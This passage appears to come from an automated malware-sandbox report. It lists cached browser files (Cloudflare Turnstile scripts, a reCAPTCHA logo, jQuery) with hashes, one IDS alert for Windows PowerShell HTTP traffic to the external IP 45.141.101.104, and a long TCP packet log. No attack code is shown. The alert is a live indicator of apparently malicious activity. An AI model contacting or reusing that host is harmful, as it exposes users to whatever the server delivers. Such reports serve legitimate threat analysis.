SSDEEP:	12:6v/75K9m1d/nTm7nTm7nTm7nTm7nTm7nTm7nTm7nTmdb:ifT/n8n8n8n8n8n8n8nQ
MD5:	37E59E824766837AB737A475B52D6C1A
SHA1:	1324BB0EAD320E01604B2614D415052F5A5B4F17
SHA-256:	3FD435925D75A499A56B094DC9EB35A0AFE70C8241FCD80B7C94F262A7A183B0
SHA-512:	FAAB9C847DB7ACA83B25D2EFAB0D22A9C2434634B48E226F659F253E18D35DC927DFC37CD699EE4F179B46FC498034F700D83FD505135B1F05DF86D9E4FA0FE3
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/94d84e9f18df2cb4/1749552620576/1K3_bi7h_dn-nye
Preview:	.PNG........IHDR...F...A.....l+.<...HIDATx.....$Y....w...rKc.m.m.m.mi...J..23"..v.jz..;k.r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r..C...U......W=?T.z~.\..P....r...?..h..Y.S.....IEND.B`.

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	3.581479158117077
Encrypted:	false
SSDEEP:	3:yionv//thPltRt0L3i5Spl/lsup:6v/lhPITkutsup
MD5:	70C202196187AB3C11B4E094C20C6DE1
SHA1:	9C52B959E74AEE9D79CBC9F35D1F9F65A3B8C863
SHA-256:	6255B9231D09EBE6AA1AC19BA46BDD81F3DF58989C9EF2E11D6CD6E2E7B21643
SHA-512:	7E6168E40CCE79239FC00A05381E1E95CA3534905D3FC1467973927F317B7F12B6F3E76960D5202C40046618B51E0895082E22338B1B9971038FA0BA158117E4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............r..$....IDATx....................................IEND.B`.

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	3.581479158117077
Encrypted:	false
SSDEEP:	3:yionv//thPltRt0L3i5Spl/lsup:6v/lhPITkutsup
MD5:	70C202196187AB3C11B4E094C20C6DE1
SHA1:	9C52B959E74AEE9D79CBC9F35D1F9F65A3B8C863
SHA-256:	6255B9231D09EBE6AA1AC19BA46BDD81F3DF58989C9EF2E11D6CD6E2E7B21643
SHA-512:	7E6168E40CCE79239FC00A05381E1E95CA3534905D3FC1467973927F317B7F12B6F3E76960D5202C40046618B51E0895082E22338B1B9971038FA0BA158117E4
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR.............r..$....IDATx....................................IEND.B`.

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48827)
Category:	downloaded
Size (bytes):	48828
Entropy (8bit):	5.340793514946824
Encrypted:	false
SSDEEP:	768:ECb719MkF248wa0rnnn/A2WNwyjj41fCXV2WqDsntFL4YyNiyY1LBep7iFFQ7XIQ:KkF2nwa0rnn/sif2HL4xig
MD5:	07D7E441D19F6CD2A3E35A26FA189EA1
SHA1:	B8556AE8944C4A1CA014A9DA02757E2766873395
SHA-256:	CE9705A34C906E586C84CC609659751FFB55F8E2BA3D087E69C5591662A226A0
SHA-512:	97F629B2B439ACDB154EE8160DF535B2337C0EA8D7080194A66AD63BFE60E5687F3CDFA3F8788FB25E50C00532F7B81D3F61A01A81DA7DFB85DB4978DE0B57B3
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/f9574c83b4d7/api.js?onload=lALO8&render=explicit
Preview:	"use strict";(function(){function qt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function zt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){qt(l,o,c,v,h,"next",s)}function h(s){qt(l,o,c,v,h,"throw",s)}v(void 0)})}}function P(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):P(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Pe(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Or(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	87533
Entropy (8bit):	5.262536918435756
Encrypted:	false
SSDEEP:	1536:0RUX9uDgwxcy2KVBNwchN6SLaHEk2BSrBESp+a/IEk4aAocVi8SMBQ47GKr:sHNwcv9VBQpLl88SMBQ47GKr
MD5:	2C872DBE60F4BA70FB85356113D8B35E
SHA1:	EE48592D1FFF952FCF06CE0B666ED4785493AFDC
SHA-256:	FC9A93DD241F6B045CBFF0481CF4E1901BECD0E12FB45166A8F17F95823F0B1A
SHA-512:	BF6089ED4698CB8270A8B0C8AD9508FF886A7A842278E98064D5C1790CA3A36D5D69D9F047EF196882554FC104DA2C88EB5395F1EE8CF0F3F6FF8869408350FE
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.7.1.min.js
Preview:	/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-06-10T12:50:53.023947+0200	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49724	45.141.101.104	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 10, 2025 12:50:00.418832064 CEST	49672	443	192.168.2.6	204.79.197.203
Jun 10, 2025 12:50:00.730926991 CEST	49672	443	192.168.2.6	204.79.197.203
Jun 10, 2025 12:50:01.340343952 CEST	49672	443	192.168.2.6	204.79.197.203
Jun 10, 2025 12:50:02.543828964 CEST	49672	443	192.168.2.6	204.79.197.203
Jun 10, 2025 12:50:04.949611902 CEST	49672	443	192.168.2.6	204.79.197.203
Jun 10, 2025 12:50:08.997064114 CEST	49678	443	192.168.2.6	20.42.65.91
Jun 10, 2025 12:50:09.387106895 CEST	49678	443	192.168.2.6	20.42.65.91
Jun 10, 2025 12:50:09.918488979 CEST	49672	443	192.168.2.6	204.79.197.203
Jun 10, 2025 12:50:09.996606112 CEST	49678	443	192.168.2.6	20.42.65.91
Jun 10, 2025 12:50:11.201802015 CEST	49678	443	192.168.2.6	20.42.65.91
Jun 10, 2025 12:50:13.702239037 CEST	49678	443	192.168.2.6	20.42.65.91
Jun 10, 2025 12:50:14.643699884 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:50:14.643734932 CEST	443	49698	142.250.114.147	192.168.2.6
Jun 10, 2025 12:50:14.643987894 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:50:14.645147085 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:50:14.645155907 CEST	443	49698	142.250.114.147	192.168.2.6
Jun 10, 2025 12:50:14.916829109 CEST	443	49698	142.250.114.147	192.168.2.6
Jun 10, 2025 12:50:14.916922092 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:50:14.918507099 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:50:14.918517113 CEST	443	49698	142.250.114.147	192.168.2.6
Jun 10, 2025 12:50:14.919169903 CEST	443	49698	142.250.114.147	192.168.2.6
Jun 10, 2025 12:50:14.970220089 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:50:16.850703955 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:16.850750923 CEST	443	49700	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:16.850857973 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:16.851372957 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:16.851430893 CEST	443	49701	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:16.851712942 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:16.851805925 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:16.851814985 CEST	443	49700	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:16.852370977 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:16.852376938 CEST	443	49701	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.126756907 CEST	443	49700	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.126821995 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.128468990 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.128479004 CEST	443	49700	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.128647089 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.128650904 CEST	443	49700	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.128715038 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.129210949 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.129257917 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.129328966 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.129844904 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.129858017 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.134771109 CEST	443	49701	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.134948969 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.135307074 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.135307074 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.135307074 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.135317087 CEST	443	49701	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.135320902 CEST	443	49700	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.135328054 CEST	443	49701	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.135396004 CEST	49700	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.135597944 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.135631084 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.135731936 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.136030912 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.136038065 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.138139963 CEST	443	49701	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.138197899 CEST	49701	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.407727003 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.407804966 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.412517071 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.412548065 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.413079977 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.413093090 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.413460970 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.413471937 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.416332006 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.416400909 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.416790962 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.417319059 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.417366028 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.417757034 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.417768955 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.417916059 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.418375015 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.419913054 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.459117889 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.459391117 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.533339024 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.562611103 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.562700987 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.564291000 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.564321995 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.564368963 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.564385891 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.564579964 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.564800978 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.564847946 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.567610025 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.585124016 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.613034010 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.800750017 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.844283104 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.918106079 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:17.918155909 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:17.918224096 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:17.918653011 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:17.918664932 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:17.938604116 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.940171003 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.940201044 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.940248966 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.940285921 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.940485001 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.940537930 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:17.940699100 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.944636106 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:17.944715023 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.017750978 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.017791033 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.158010960 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.158672094 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.158787012 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.160609007 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.160640955 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.160729885 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.160759926 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.160890102 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.160984039 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.161130905 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.161212921 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.161364079 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.161459923 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.161582947 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.161655903 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.162460089 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.162569046 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.162699938 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.162777901 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.194533110 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.194611073 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.195739985 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.195749998 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.195955038 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.195960999 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.196160078 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.196167946 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.196397066 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.196971893 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.197021961 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.197144032 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.197910070 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.251770973 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.281778097 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.281915903 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.282505035 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.282591105 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.283159971 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.283252954 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.284667969 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.284776926 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.286364079 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.286501884 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.287096977 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.287203074 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.287312984 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.287520885 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.287659883 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.296353102 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.345314026 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.346998930 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.350230932 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.350487947 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.350512028 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.350519896 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.392293930 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.396034956 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.396095991 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.454313993 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.454371929 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.454490900 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.457206011 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.457220078 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.497394085 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.497919083 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:50:18.497951984 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:50:18.502846956 CEST	49678	443	192.168.2.6	20.42.65.91
Jun 10, 2025 12:50:18.526336908 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.526411057 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.526451111 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.526469946 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.670442104 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.671971083 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.672000885 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.672066927 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.672144890 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.672278881 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.672308922 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.672363043 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.672363043 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.672519922 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.677206039 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:18.677263021 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:18.727521896 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.727677107 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.729330063 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.729336023 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.729935884 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.730391979 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.730942965 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.730943918 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.731113911 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.731164932 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.731422901 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.772315025 CEST	443	49707	104.18.95.41	192.168.2.6
